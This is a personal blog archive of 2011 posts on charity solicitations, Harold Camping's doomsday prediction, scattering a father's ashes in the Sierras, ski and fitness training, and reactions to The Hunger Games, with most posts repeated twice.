This really should just be a Facebook post but Facebook makes me neglect my blog so this is just evening things out.
i think I'd be good at figuring out who to give significant portions of money to, but I don't know how to train for such a career. And I lack the essential large pile of money. I have fun with my itty bitty pile at the end of the year enough to be harrassed by the recipents the rest of the year, but it's just not the same.
I think I should practice saying No as that's an essential VC skill. We have and depend on caller ID to ignore the robot callers, but if I would just pick up the phone and politely say to the poor minimum wage slave that is answering the rare call pickups that "I'm sorry, we don't accept sales calls." and "Our donation program period is at the end of the year, and no it doesn't matter what your agenda or campaign is." (The obvious exceptions would be around election time but we'll skip that.)
It takes effort to give money, and surprisingly little effort to say no. It's completely maddening that charities will turn right around the second you give them money and ask for more. It's hard not to take it personally, but they are operating on their own schedules and you have to realize that you don't have to dance to the same beat.
But back to my silly ambition. It would be really cool to be in a position to really make a difference by investing $$$ in new research or new infrastructure, or just keep my favorite artists collective afloat.
Thursday, May 26, 2011
Tuesday, May 17, 2011
Judgment Day - Another Jonestown?
The fervor that Harold Camping has stirred up about his current prediction of May 21 being a day that at around 6pm there will be a massive Earthquake felt around the world (never mind that's not how earthquakes work - duh) and that the usual Christian cataclysmic events will occur, has me concerned. Dynamic leaders know they carry a lot of sway but there are some ways that they seem unable to see..
Mr. Camping (who is 89 according to here) says he is 100% sure that "judgment day" (lower case intentional) will be May 21, 2011. What he seems to lack is a plan B that he claims there is no need for and he desperately needs one. Given that he is 89 and he group doesn't quite count as a cult (Dynamic Leader - check, Us and Them - check, Cloistered membership - nope.) I don't quite seem him pulling off a mass suicide like in Jonestown especially since Christians are taught to be passive and wait, but I don't think he realizes that the disappointment and outright anguish that his followers are going to experience. I worry that those who truly feel abandoned are going to feel suicidal and I worry that there is a definite risk of several of them jumping off of the cliff that they're likely out waiting on.
Several of us happy heathens have been having a good time about this but there is a serious side to it.
If you know someone who has bought into this, please check in with them. They will not be happy campers on May 22.
Mr. Camping (who is 89 according to here) says he is 100% sure that "judgment day" (lower case intentional) will be May 21, 2011. What he seems to lack is a plan B that he claims there is no need for and he desperately needs one. Given that he is 89 and he group doesn't quite count as a cult (Dynamic Leader - check, Us and Them - check, Cloistered membership - nope.) I don't quite seem him pulling off a mass suicide like in Jonestown especially since Christians are taught to be passive and wait, but I don't think he realizes that the disappointment and outright anguish that his followers are going to experience. I worry that those who truly feel abandoned are going to feel suicidal and I worry that there is a definite risk of several of them jumping off of the cliff that they're likely out waiting on.
Several of us happy heathens have been having a good time about this but there is a serious side to it.
If you know someone who has bought into this, please check in with them. They will not be happy campers on May 22.
Friday, May 13, 2011
The Judgement Day people need FUD lessons
I was serious Christian from when I was 16 to until I was 20.
When I was even younger, I figured out that Jesus would come back in 1983. Even at the time I honestly didn't believe it then and now most certainly don't since I'm no longer a Christian (I'm much more a Gnostic and the rest of Christianity wiped them out so I rather enjoy holding a grudge). To help myself extract myself from Christianity, I took a fair bit of Christian history in college and it helped me a lot with perspective. Anyway my point is doing these calculations are not hard as there are a lot of what appears to be hard numbers in the Bible.
So now we have Judgement Day prediction du mois which is set for May 21.
This end times thing is absolutely nothing new. The early Christians thought Jesus was coming back very soon (like within their lifetimes, and that feeling is often stoked from time to time.
Reading this fantastic NPR article here: http://www.npr.org/2011/05/12/136239062/divining-doomsday-an-old-practice-with-new-tricks
It's clear that what Mr Camping needs is FUD lessons (Fear, Uncertainly, Doubt). The strongest fears are vague and for heavens (sorry) sake don't put a date on it, you're just going to look like the moron that you really are.
And what I can't figure out is it they people are literalists then they really have their order all wrong.
I still have a New International Version of the Bible (a very geeky bible)
The order laid out in Revelation indicates that the current wackos are just off the scale.
There isn't a rapture in Revelation by the way. In fact the word isn't in the Bible though this reference points out the various places the concept may be referred to in the Bible: http://christianity.about.com/od/faqhelpdesk/a/whatisrapture.htm
- Christ reappears in Rev 19:11 if you believe that "Faithful and Truth" is Jesus
- lots of B Movie bloodshed ensues
- then 1000 years passes (Where is this in their calculations?)
- at the end of that then Satan is unbound
- then you finally get your Judgment Day
Do you know how much I'm looking forward to doing a: "Happy Judgement Day, All sinners present and accounted for?" Status update? And of course there will be: "Happy Day After Judgment Day." A friends wants to see if she can talk one of them out of the nice car that they're driving. I look forward to see if she succeeded.
When I was even younger, I figured out that Jesus would come back in 1983. Even at the time I honestly didn't believe it then and now most certainly don't since I'm no longer a Christian (I'm much more a Gnostic and the rest of Christianity wiped them out so I rather enjoy holding a grudge). To help myself extract myself from Christianity, I took a fair bit of Christian history in college and it helped me a lot with perspective. Anyway my point is doing these calculations are not hard as there are a lot of what appears to be hard numbers in the Bible.
So now we have Judgement Day prediction du mois which is set for May 21.
This end times thing is absolutely nothing new. The early Christians thought Jesus was coming back very soon (like within their lifetimes, and that feeling is often stoked from time to time.
Reading this fantastic NPR article here: http://www.npr.org/2011/05/12/136239062/divining-doomsday-an-old-practice-with-new-tricks
It's clear that what Mr Camping needs is FUD lessons (Fear, Uncertainly, Doubt). The strongest fears are vague and for heavens (sorry) sake don't put a date on it, you're just going to look like the moron that you really are.
And what I can't figure out is it they people are literalists then they really have their order all wrong.
I still have a New International Version of the Bible (a very geeky bible)
The order laid out in Revelation indicates that the current wackos are just off the scale.
There isn't a rapture in Revelation by the way. In fact the word isn't in the Bible though this reference points out the various places the concept may be referred to in the Bible: http://christianity.about.com/od/faqhelpdesk/a/whatisrapture.htm
- Christ reappears in Rev 19:11 if you believe that "Faithful and Truth" is Jesus
- lots of B Movie bloodshed ensues
- then 1000 years passes (Where is this in their calculations?)
- at the end of that then Satan is unbound
- then you finally get your Judgment Day
Do you know how much I'm looking forward to doing a: "Happy Judgement Day, All sinners present and accounted for?" Status update? And of course there will be: "Happy Day After Judgment Day." A friends wants to see if she can talk one of them out of the nice car that they're driving. I look forward to see if she succeeded.
Monday, May 02, 2011
The Search for the Perfect Place
My father very recently passed away, which albeit expected doesn't make it any easier.
He wished to be cremated and my family has asked that some of his ashes be taken to the Sierras and I'm the only one able to make the trip. My father loved the Sierra's. He was a Boy Scout leader and took my brother's troop on trips there and later started taking my sister and brother and a family friend, then finally after a whole bunch of whining and prodding, I was included - first to the San Gabriel Mountains and then a couple trips to the Sierra's.
Honestly, no one cares where I take the ashes including my Dad (perhaps especially him). I could drive to the Sierra's, stop by a nice trailhead and dump them off, but of course the original inspiration for the suggestion was from the trips that he often talked about. But this isn't about him, it's about what I can live with for the rest of my life and the "where" really matters to me. It mattered when I was distributing some of my dog's ashes and it really matters with my Dad's. It's a way of closure and the more effort I put into the process, the more at peace I will be.
But we are talking about the Sierra's here which is not always the most straightforward of destinations. At first it was going to be really easy. I have a Whitney trip coming up in July and I can easily take the ashes with me (it will only be some of the ashes so it won't be a huge deal bringing them.) No problem right?
Leave it to me to over-think things. Dad never climbed or even tried to climb Mt. Whitney even though a neighbor of ours did several times. It was just never his thing I get the impression. He went into the mountains to get away and the Mt. Whitney Main Trail is not the place to get away from people. Ironically I don't mind people, I go into the mountains for the challenge and beauty of them and the people there usually don't bother me and are often welcome company. In fact, if I'm hiking by myself having people around is a safety net of sorts - it's why Terri is ok with me going to Mt. Shasta by myself as you're never really completely by yourself.
But back to the issue at hand - making a simple task complicated. So I'm thinking that Mt. Whitney may not be the ideal place. My Dad was always looking for nice lakes to camp near. Unlike me, he wasn't necessarily a climber. He was much more into finding a nice spot to decompress.
So I'm thinking what lake? Well there's no shortage of really nice lakes, but it has to be one with meaning. The place that Dad spoke of over and over again was going over Kearsarge Pass (11,750') and then down into that area which has some lovely lakes like Bullfrog and Charlote Lakes. Those would be just fine, but the trip that he talked about over and over again is the one didn't start at Kearsarge but from the West side via Bubb's Creek. It was the time where he took us up a climber's trail (not a regularly maintained trail) into Gardiner Basin. What made the trip memorable was not only the scenery, but his willingness to let me talk him into taking a "shortcut" up a mountain side. We did not get all the way up and wound up spending the night on it. In fairness, he did check this plan out with a ranger and the ranger thought it might be fun. It was mostly a lesson for me in just how big mountains can be especially when you're 15 years old.
Here's the basic layout. The actual trail is in pink and my shortcut is in red. The plan was to get from Bubb's Creek to Charlotte Lake over night there and then go up into Gardiner Basin to the North. We never made it that far and that's where we got to sleep with the Manzanitas.
Then the next day we hiked up into Gardiner Basin which should have been hard and was, but was nothing compared to yesterday's misadventure, and that's where we landed for a couple of days. Just fishing and messing around the lakes. I wasn't a climber then so it's didn't occur to me to climb Mt Gardiner or Mt Cotter. It sure would have now.
So the choice that immediately occurred to me was somewhere in Gardiner Basin, but I haven't been over there since and if I go into that area I likely would like to go see something else, so I vacillate. What makes me hesitate is that it's two day trip and there are some gorgeous places that we (Terri will come along) will pass up to do it.
I think one solution I have for the moment is to go in via Kearsarge on the East side and camp at Charlotte Lake (if it's allowed, it's a popular place). Then just climb over to Gardiner as a day trip and come back and then if we wish, we can go somewhere else like Rae Lakes or 60 Lake Basin since I've seen neither place. But all this rigmarole seems a little silly as simply going to the gorgeous places would be more than fine. And so I dither. Fortunately unlike a Whitney trip I have some time to make up my mind.
Epilogue
My sister found some photos of a Kearsarge trip we took and that trip started in the Onion Valley. Fortunately the Onion Valley is out of Independence which is just north of Lone Pine where Terri and I were going anyway. So we wound up driving up to the Kearsarge pass trail head and walking 1/3 of a mile up the trail till we found this gorgeous spot similar to the photo which was just perfect and it didn't take a day of trekking to get there either.
He wished to be cremated and my family has asked that some of his ashes be taken to the Sierras and I'm the only one able to make the trip. My father loved the Sierra's. He was a Boy Scout leader and took my brother's troop on trips there and later started taking my sister and brother and a family friend, then finally after a whole bunch of whining and prodding, I was included - first to the San Gabriel Mountains and then a couple trips to the Sierra's.
Honestly, no one cares where I take the ashes including my Dad (perhaps especially him). I could drive to the Sierra's, stop by a nice trailhead and dump them off, but of course the original inspiration for the suggestion was from the trips that he often talked about. But this isn't about him, it's about what I can live with for the rest of my life and the "where" really matters to me. It mattered when I was distributing some of my dog's ashes and it really matters with my Dad's. It's a way of closure and the more effort I put into the process, the more at peace I will be.
But we are talking about the Sierra's here which is not always the most straightforward of destinations. At first it was going to be really easy. I have a Whitney trip coming up in July and I can easily take the ashes with me (it will only be some of the ashes so it won't be a huge deal bringing them.) No problem right?
Leave it to me to over-think things. Dad never climbed or even tried to climb Mt. Whitney even though a neighbor of ours did several times. It was just never his thing I get the impression. He went into the mountains to get away and the Mt. Whitney Main Trail is not the place to get away from people. Ironically I don't mind people, I go into the mountains for the challenge and beauty of them and the people there usually don't bother me and are often welcome company. In fact, if I'm hiking by myself having people around is a safety net of sorts - it's why Terri is ok with me going to Mt. Shasta by myself as you're never really completely by yourself.
But back to the issue at hand - making a simple task complicated. So I'm thinking that Mt. Whitney may not be the ideal place. My Dad was always looking for nice lakes to camp near. Unlike me, he wasn't necessarily a climber. He was much more into finding a nice spot to decompress.
So I'm thinking what lake? Well there's no shortage of really nice lakes, but it has to be one with meaning. The place that Dad spoke of over and over again was going over Kearsarge Pass (11,750') and then down into that area which has some lovely lakes like Bullfrog and Charlote Lakes. Those would be just fine, but the trip that he talked about over and over again is the one didn't start at Kearsarge but from the West side via Bubb's Creek. It was the time where he took us up a climber's trail (not a regularly maintained trail) into Gardiner Basin. What made the trip memorable was not only the scenery, but his willingness to let me talk him into taking a "shortcut" up a mountain side. We did not get all the way up and wound up spending the night on it. In fairness, he did check this plan out with a ranger and the ranger thought it might be fun. It was mostly a lesson for me in just how big mountains can be especially when you're 15 years old.
Here's the basic layout. The actual trail is in pink and my shortcut is in red. The plan was to get from Bubb's Creek to Charlotte Lake over night there and then go up into Gardiner Basin to the North. We never made it that far and that's where we got to sleep with the Manzanitas.
Then the next day we hiked up into Gardiner Basin which should have been hard and was, but was nothing compared to yesterday's misadventure, and that's where we landed for a couple of days. Just fishing and messing around the lakes. I wasn't a climber then so it's didn't occur to me to climb Mt Gardiner or Mt Cotter. It sure would have now.
So the choice that immediately occurred to me was somewhere in Gardiner Basin, but I haven't been over there since and if I go into that area I likely would like to go see something else, so I vacillate. What makes me hesitate is that it's two day trip and there are some gorgeous places that we (Terri will come along) will pass up to do it.
I think one solution I have for the moment is to go in via Kearsarge on the East side and camp at Charlotte Lake (if it's allowed, it's a popular place). Then just climb over to Gardiner as a day trip and come back and then if we wish, we can go somewhere else like Rae Lakes or 60 Lake Basin since I've seen neither place. But all this rigmarole seems a little silly as simply going to the gorgeous places would be more than fine. And so I dither. Fortunately unlike a Whitney trip I have some time to make up my mind.
Epilogue
My sister found some photos of a Kearsarge trip we took and that trip started in the Onion Valley. Fortunately the Onion Valley is out of Independence which is just north of Lone Pine where Terri and I were going anyway. So we wound up driving up to the Kearsarge pass trail head and walking 1/3 of a mile up the trail till we found this gorgeous spot similar to the photo which was just perfect and it didn't take a day of trekking to get there either.
Thursday, March 10, 2011
Should I Write a Book?
So I'm toying (and that's the right word at this point) with the idea of writing a book, and I can't decide whether it's worth the effort or not. I love writing, but I'm much more the short attention span chronicler blogger type. Every so often someone will encourage me to or I realize that I have enough material to warrant a book but then I feel the mental panic brake being stomped on.
For one, it's a huge undertaking and takes massive commitment
But more importantly, you really have to believe that what you are doing is different from what's already out there, and most importantly you have to believe in yourself. The cool thing about blogging is you just do it. You don't have to agonize about it. I had to be told that I could write decently. I had to be told that I can write humorously. (Really? Right now I can see that I can write boringly.)
I guess it all goes back to trying not to give "I can't" too much power. I hate being so fear driven.
With respect to writing that takes a log more confidence than dashing off the overly-self-indulgent blog post. (Which I must say I am so very grateful to have such an outlet - it keeps me and those around me sane.)
Oh and another thing is that you kind of have to be a bit secretive until your book is published. I know someone who disappeared of the face of the internet to write another book after publishing one very successful one. We haven't heard from her since and I'm getting concerned. It that's what it takes then maybe I don't want to do this.
Oh! and ANOTHER thing. Writing the book I'm thinking of means going over a lot of past effort and agony and I find that I am not really inclined to look back just yet.
The cool thing about a book is that it's a great way to clone yourself. You can only give one presentation/seminar at a time. Granted to multiple people if that's your style, but it still limits you some.
I'm thinking maybe I should just continue to put my thoughts on the internet. I don't do this for a living and it appears the more you give the more you get back anyway (up to a point - people do expect a lot for free these days, but that's mostly from large corporations who are perceived to be wealthy anyway).
I could do a sort of value added thing that several small companies do. They have a large program that is free, but if you want help with it you pay them for support. I could put the basics on the internet and if someone wanted further help then I charge for it.
Of course then there's the Google model which is to give over 90% away and charge a fortune for the other 10%, but I don't quite see that happening for some reason. :)
Anyway I'll just continue to dither. Never mind me.
For one, it's a huge undertaking and takes massive commitment
But more importantly, you really have to believe that what you are doing is different from what's already out there, and most importantly you have to believe in yourself. The cool thing about blogging is you just do it. You don't have to agonize about it. I had to be told that I could write decently. I had to be told that I can write humorously. (Really? Right now I can see that I can write boringly.)
I guess it all goes back to trying not to give "I can't" too much power. I hate being so fear driven.
With respect to writing that takes a log more confidence than dashing off the overly-self-indulgent blog post. (Which I must say I am so very grateful to have such an outlet - it keeps me and those around me sane.)
Oh and another thing is that you kind of have to be a bit secretive until your book is published. I know someone who disappeared of the face of the internet to write another book after publishing one very successful one. We haven't heard from her since and I'm getting concerned. It that's what it takes then maybe I don't want to do this.
Oh! and ANOTHER thing. Writing the book I'm thinking of means going over a lot of past effort and agony and I find that I am not really inclined to look back just yet.
The cool thing about a book is that it's a great way to clone yourself. You can only give one presentation/seminar at a time. Granted to multiple people if that's your style, but it still limits you some.
I'm thinking maybe I should just continue to put my thoughts on the internet. I don't do this for a living and it appears the more you give the more you get back anyway (up to a point - people do expect a lot for free these days, but that's mostly from large corporations who are perceived to be wealthy anyway).
I could do a sort of value added thing that several small companies do. They have a large program that is free, but if you want help with it you pay them for support. I could put the basics on the internet and if someone wanted further help then I charge for it.
Of course then there's the Google model which is to give over 90% away and charge a fortune for the other 10%, but I don't quite see that happening for some reason. :)
Anyway I'll just continue to dither. Never mind me.
Saturday, January 29, 2011
Snowboarding: Domestic Discord
I have no issue with snowboarding personally. It looks like a blast and I hope to learn it someday.
But I've never seen quite so many domestic arguments on the slope as I have over snowboarding.
The basic gist is unless you're a professional instructor/teacher: Don't try to teach a loved one snowboarding.
The usual scenario is guy wants to go snowboarding and talks his girlfriend into coming along. "It's easy I'll teach you." After about the 15th fall said girlfriend is more than a little miffed, dude just wants to go do some runs unencumbered, and there usually is a screaming argument.
That's the usual scenario, but I recently saw a father yelling at his young son over the same exact scenario, which I found particularly appalling.
This was at Sugarbowl who has a great instruction program for beginners of all ages. There really isn't an excuse for this.
When you learn to be a teacher, you learn to have some distance (I speak from experience). If someone you're teaching suddenly decides they hate what you're teaching, that has to be ok. It's part of learning to be a teacher. That distance is even harder to maintain when you are trying to teach someone you care about. You can do it, but it takes effort and that's even if you already are familiar with the professional distance that a teacher or instructor has. If you are tied up in the outcome then OMG you have already lost, and odds for a domestic meltdown are very good.
Do you and your family a favor and sign up your loved one up for lessons. If you want to be involved, take the same class.
But I've never seen quite so many domestic arguments on the slope as I have over snowboarding.
The basic gist is unless you're a professional instructor/teacher: Don't try to teach a loved one snowboarding.
The usual scenario is guy wants to go snowboarding and talks his girlfriend into coming along. "It's easy I'll teach you." After about the 15th fall said girlfriend is more than a little miffed, dude just wants to go do some runs unencumbered, and there usually is a screaming argument.
That's the usual scenario, but I recently saw a father yelling at his young son over the same exact scenario, which I found particularly appalling.
This was at Sugarbowl who has a great instruction program for beginners of all ages. There really isn't an excuse for this.
When you learn to be a teacher, you learn to have some distance (I speak from experience). If someone you're teaching suddenly decides they hate what you're teaching, that has to be ok. It's part of learning to be a teacher. That distance is even harder to maintain when you are trying to teach someone you care about. You can do it, but it takes effort and that's even if you already are familiar with the professional distance that a teacher or instructor has. If you are tied up in the outcome then OMG you have already lost, and odds for a domestic meltdown are very good.
Do you and your family a favor and sign up your loved one up for lessons. If you want to be involved, take the same class.
Sunday, January 23, 2011
My Skiing Date with Harry and Jerome
So I haven't been skiing much since my avalanche class last yesr
http://nondogblog.frap.org/2010/01/avalanch-course-pt-i-basic-overview.html
The reason is mostly because of being forced to negociate terrain that was beyond my skill level that I detail in::
Snow Greving: http://nondogblog.frap.org/2010/01/snow-grieving.html
and
The Weirdness of Minor Emotional Trauma:
http://nondogblog.frap.org/2010/01/weirdness-of-minor-emotional-trauma.htm
But it's been a year and I thought it was time to start back up on my ski training since I'm still stuck on the blues and want to be much better. The day before I was supposed to go I suddenly found myself stressing about it and couldn't figure out why. Then I remembered all the fun that I detail above. But my anxiety mystified me as simply going skiing doesn't mean that I'm going to run into someone insisting that I do something that I'm not ready to do. Then I realized that I was going to take a lesson. The second that I told myself that I didn't *have* to take a lesson, my stress evaporated. It wasn't where I was going as I'm going to Sugarbowl which is a place I'm very familiar with and is not Squaw (the place of all the stress though it would likely be only stressful at very particular locations of Squaw if even that.
What was so anxiety producing was being in a position where others were depending on my to complete something I wasn't qualified to so. For some reason, however silly, signing up for a group ski lesson was causing the same stress. Never mind that they would just stick you in a different class if you needed it. Totally irrational, but whatever.
But I've had a lot of lessons and I know what I need to work on. Specifically my right turn. If you look at my ski tracks it looks like a backwards 2. Very nice smooth left turn and choppy abrupt right turn. My left leg gets fatigued easier because my balance isn't quite right and I'm over using it.
So once I realized that all I needed was mileage I was suddenly ok and in the morning Harry Dresden the wizard (not Potter) and I took off for Sugarbowl. The Dresden novels are by Jim Butcher and I get them via Audible.com. Harry is a bit of a smart ass and is forever getting his butt kicked by some manevolent other world creature. He's just as likable as Harry Potter, but older and has different angsts (what wizard doesn't angst). Oh and the magic is really cool. The only thing missing is Herminone.
So today's project was to spend quality time with Jerome (Hill). Jerome is a mostly intermediate area in Sugarbowl and there is a good variety in the blues that it has. For the longest time in the past I would just go up the chairlift and down the main trail "Trailblazer." but there is a lot less traffic on the slightly harder."Broken Axel" and "Caleb's Way." I haven't worked up the nerve to try "Central Pacific" and twice I've tried the backside "Sidewinder" trail and both times completely regretted it as there are some steep sections where I don't have time or the leg strength or the nerve to turn in time (it's kind of narrow too) and I go tumbling. Oh and that "Pioneer Trail" green is green only until it starts to curve and then it gets scary steep for beginners.
And that's how I spent most of the day until my left quad got too tired. Once that happens, my technique goes all south and there's really no point in continuing. I think I'll do another day like this one and work up to Central Pacific and try to find a way down Sidewinder without being sideways. One way is to hop the turn, but I really don't know how to do that well.
Then I could go back to Mt Lincoln (tougher blues that I've fallen on) or Mt Disney. Mt Disney's blues have the fun aspect of leading you along and then dropping you off a steep section. I talked about it here, but here is the photo again. I know there has to be an easier way down, but haven't taken the time to find it. It takes a while to get over to this part of the park so it's easier to just stay in once place and work on skills instead of investigating which is fun, but a different thing and I have easy access to Sugarbowl so it's not like I will never see it again (hopefully).
http://nondogblog.frap.org/2010/01/avalanch-course-pt-i-basic-overview.html
The reason is mostly because of being forced to negociate terrain that was beyond my skill level that I detail in::
Snow Greving: http://nondogblog.frap.org/2010/01/snow-grieving.html
and
The Weirdness of Minor Emotional Trauma:
http://nondogblog.frap.org/2010/01/weirdness-of-minor-emotional-trauma.htm
But it's been a year and I thought it was time to start back up on my ski training since I'm still stuck on the blues and want to be much better. The day before I was supposed to go I suddenly found myself stressing about it and couldn't figure out why. Then I remembered all the fun that I detail above. But my anxiety mystified me as simply going skiing doesn't mean that I'm going to run into someone insisting that I do something that I'm not ready to do. Then I realized that I was going to take a lesson. The second that I told myself that I didn't *have* to take a lesson, my stress evaporated. It wasn't where I was going as I'm going to Sugarbowl which is a place I'm very familiar with and is not Squaw (the place of all the stress though it would likely be only stressful at very particular locations of Squaw if even that.
What was so anxiety producing was being in a position where others were depending on my to complete something I wasn't qualified to so. For some reason, however silly, signing up for a group ski lesson was causing the same stress. Never mind that they would just stick you in a different class if you needed it. Totally irrational, but whatever.
But I've had a lot of lessons and I know what I need to work on. Specifically my right turn. If you look at my ski tracks it looks like a backwards 2. Very nice smooth left turn and choppy abrupt right turn. My left leg gets fatigued easier because my balance isn't quite right and I'm over using it.
So once I realized that all I needed was mileage I was suddenly ok and in the morning Harry Dresden the wizard (not Potter) and I took off for Sugarbowl. The Dresden novels are by Jim Butcher and I get them via Audible.com. Harry is a bit of a smart ass and is forever getting his butt kicked by some manevolent other world creature. He's just as likable as Harry Potter, but older and has different angsts (what wizard doesn't angst). Oh and the magic is really cool. The only thing missing is Herminone.

And that's how I spent most of the day until my left quad got too tired. Once that happens, my technique goes all south and there's really no point in continuing. I think I'll do another day like this one and work up to Central Pacific and try to find a way down Sidewinder without being sideways. One way is to hop the turn, but I really don't know how to do that well.
Then I could go back to Mt Lincoln (tougher blues that I've fallen on) or Mt Disney. Mt Disney's blues have the fun aspect of leading you along and then dropping you off a steep section. I talked about it here, but here is the photo again. I know there has to be an easier way down, but haven't taken the time to find it. It takes a while to get over to this part of the park so it's easier to just stay in once place and work on skills instead of investigating which is fun, but a different thing and I have easy access to Sugarbowl so it's not like I will never see it again (hopefully).
Sunday, January 09, 2011
I hate: "I can't"
I've noticed that nothing quite makes me seeth nearly as much as "I can't" - especially when we're talking about physical limitations. Having trouble with what I thought was elevation just made me nuts. I kept thinking that I should give up and do something more productive rather than going up to elevations that make me miserable on a regular basis. But I never could just drop it and now that I've figured out that the issue is over-exertion and not necessarily elevation, I'm really glad I did.
Verifying: My issue really is Over-Exertion and not Altitude
In October, I climber Mt. Hoffman to test out of theory that maybe I don't have altitude sensitivity at all.
And I go into a great bit of detail about it here:
http://www.facebook.com/album.php?aid=2091225&id=1013097814&l=cdab32dd10
On Black Friday (Day after Thanksgiving) I did go snowshoeing at Mt. Shasta just to verify this theory that it's not altitude at all but working at too high of a heart rate. This is a trail I know well and I always seem to have trouble around 7200' to the point that I could tell you the elevation without having to look at my gps. That day I climbed to 7600' before turning around due to the weather deteriorating, but I had my verification. At no point in time did I hit the wall I had to stop often to let my heart rate come back down as it would want to climb over 150 very easily, but doing so made it so that I could easily climb it with no energy taking leave of my muscles.
As I said in the previous post this is life changing and now I have something I can train for. It was so frustrating when I thought it was elevation as there is no way to train for elevation - your only hope is aclimatization. I'm quite proud that I stuck with trying to figure this out and that finally after 10 freaking years of working on this I finally see a way through it.
There is another point that I had been noticing is that if I'm magically dropped at a higher elevation, likes taking the cable car up to Squaw High Camp at 8000' I'm fine. If I hike up to that level I often have trouble. Noticing that was a big clue that altitude probably isn't the problem I thought it was.
I'm now working with a training on increasing my endurance, first by running and then incorporating spin and climbing.
The trouble is that I'm perfectly happy with my heart rate going over 85%. I've the endorphin junkie and it's proving to be quite a challenge to learn how to work more at a maintainable level. Even today I was letting my dog tow me up Mission Peak and my HR was 160-165 and I was fine for the 2 miles we were going up, but that isn't workable for very long. In face even on Mission Peak I may have run out of energy at that rate. I will be routinely repeating the climb without a dog encouraging me to charge, so I'll have to see how doable this is.
My dream is to be able to climb and keep up with a group. If I can do that then I can climb Ranier and other Washington and Oregon Mtns and maybe even some Canadian and Alaska ones.
But first lets do Mission Peak at a normal HR.
And I go into a great bit of detail about it here:
http://www.facebook.com/album.php?aid=2091225&id=1013097814&l=cdab32dd10
On Black Friday (Day after Thanksgiving) I did go snowshoeing at Mt. Shasta just to verify this theory that it's not altitude at all but working at too high of a heart rate. This is a trail I know well and I always seem to have trouble around 7200' to the point that I could tell you the elevation without having to look at my gps. That day I climbed to 7600' before turning around due to the weather deteriorating, but I had my verification. At no point in time did I hit the wall I had to stop often to let my heart rate come back down as it would want to climb over 150 very easily, but doing so made it so that I could easily climb it with no energy taking leave of my muscles.
As I said in the previous post this is life changing and now I have something I can train for. It was so frustrating when I thought it was elevation as there is no way to train for elevation - your only hope is aclimatization. I'm quite proud that I stuck with trying to figure this out and that finally after 10 freaking years of working on this I finally see a way through it.
There is another point that I had been noticing is that if I'm magically dropped at a higher elevation, likes taking the cable car up to Squaw High Camp at 8000' I'm fine. If I hike up to that level I often have trouble. Noticing that was a big clue that altitude probably isn't the problem I thought it was.
I'm now working with a training on increasing my endurance, first by running and then incorporating spin and climbing.
The trouble is that I'm perfectly happy with my heart rate going over 85%. I've the endorphin junkie and it's proving to be quite a challenge to learn how to work more at a maintainable level. Even today I was letting my dog tow me up Mission Peak and my HR was 160-165 and I was fine for the 2 miles we were going up, but that isn't workable for very long. In face even on Mission Peak I may have run out of energy at that rate. I will be routinely repeating the climb without a dog encouraging me to charge, so I'll have to see how doable this is.
My dream is to be able to climb and keep up with a group. If I can do that then I can climb Ranier and other Washington and Oregon Mtns and maybe even some Canadian and Alaska ones.
But first lets do Mission Peak at a normal HR.
Wednesday, December 29, 2010
Ambivalence about The Hunger Games
My book club is reading The Hunger Games by Suzanne Collins which is ostensibly for older kids and is hugely popular.
I raced through the audio version and was more than a little obsessed by it and I was a little concerned about that obsession. You see, I could have written a very similar version of this book and fortunately for my own mental health, I did not write any such thing. I had two very different responses to this book and at first I was thinking it was ambivalence and now I realize it was the reaction I would have had as the rather brooding, morbid child I was and the relatively happy adult I am now.
The book is a deliberately distressing topic that involves children being forced to fight and kill each other like gladiators where the last one alive is the winner.
As an adult, I liked the book as long as I was able to forget that many of these characters are children (the main characters are older which felt ok), but the second that it became clear that there were also children under the age of 16 involved, I most definitely did not like it at all. The character development and imagery are excellent, and the plot twists were generally ok, but I mentally kept pulling out and rewriting it because I've had a lot of practice mentally creating these scenarios and it's why I had to sort of hold my experience of the book at a mental arm's length. The feeling I was getting was that of what I imagine a junkie's is. Not wanting to go back for too long to the mental place that I was at as a kid.
As a pre-teenager I was having crushes on girls and the occasional boy, (but mostly girls) and I had no context for understanding those powerful feelings at all. All I knew is that I really, really liked whoever I was crushed out about and I wanted to spend time with them and I wanted to tell her how I felt even if I didn't know what I was feeling (I didn't come out until I was 20, so I really was at sea here.)
So what a better situation to tell someone you care about them than a life and death (mostly death) situation where one of you isn't going to live anyway? At nigh as I was going to sleep, I would mentally spin scenarios where I and another girl or even several friends were in a prison or concentration camp and were being systematically tortured and killed, with all the adjunct death scene conversations. Yes, I was a really dark kid, and am lucky to come out of it only with a tendency to get depressed (I think I got addicted to the feeling of your Serotonin level lowering when you get bad news that slowly sinks in - It feels really good for a very brief moment just before things really get awful)
When I understood the scenario of The Hunger Games, I mentally started to shake a little, in more ways than one. The kid who wanted to experience that all over again, and the adult who most definitely did not. Listening to the book was actually very easy and really difficult for me.
The other thing was that kidlet was really really opinionated about the plot and what should happen next. "Well if I were writing it, then this should happen. or this, or this, or maybe this." It was actually pretty exhausing, though I as a adult, who knows how to write, was happy to help briefly before calling time on the whole mental exercise.
My reason for holding it at bay is not wanting to go back to that dark place again. I fear getting stuck there, even though I don't think I would.
And then of course there's the envy/jealousy factor. Susanne Collins had the mental fortitude to turn this all into a book series. I didn't. Part of me knows that I certainly could have done it, but the price was and is much too high for me.
Though this does bring up. Why do we write such things for children? Is it because that's what they want to read? I certainly would of read it as a kid, but I certainly would have been (actually am) a die-hard Harry Potter fan and there's a very marked difference between the incredible intensity of the Potter series and the distressing premise of The Hunger Games. Harry Herminone, and Ron are forced to fight evil, but they are not exactly forced to outright kill other kids. Think how different things would be if Hogwart's was in a bloody war with Slytherin? Feels completely at odds doesn't it?
Anyway, The Hunger Games movie may become a reality in 2013 or so (Lionsgate owns the rights as of this writing). Some rather interesting trailer-like items are on You Tube right now but I don't know what they have to do with anything.
There are other books in the series and I don't know if I'm going to continue or not.
I raced through the audio version and was more than a little obsessed by it and I was a little concerned about that obsession. You see, I could have written a very similar version of this book and fortunately for my own mental health, I did not write any such thing. I had two very different responses to this book and at first I was thinking it was ambivalence and now I realize it was the reaction I would have had as the rather brooding, morbid child I was and the relatively happy adult I am now.
The book is a deliberately distressing topic that involves children being forced to fight and kill each other like gladiators where the last one alive is the winner.
As an adult, I liked the book as long as I was able to forget that many of these characters are children (the main characters are older which felt ok), but the second that it became clear that there were also children under the age of 16 involved, I most definitely did not like it at all. The character development and imagery are excellent, and the plot twists were generally ok, but I mentally kept pulling out and rewriting it because I've had a lot of practice mentally creating these scenarios and it's why I had to sort of hold my experience of the book at a mental arm's length. The feeling I was getting was that of what I imagine a junkie's is. Not wanting to go back for too long to the mental place that I was at as a kid.
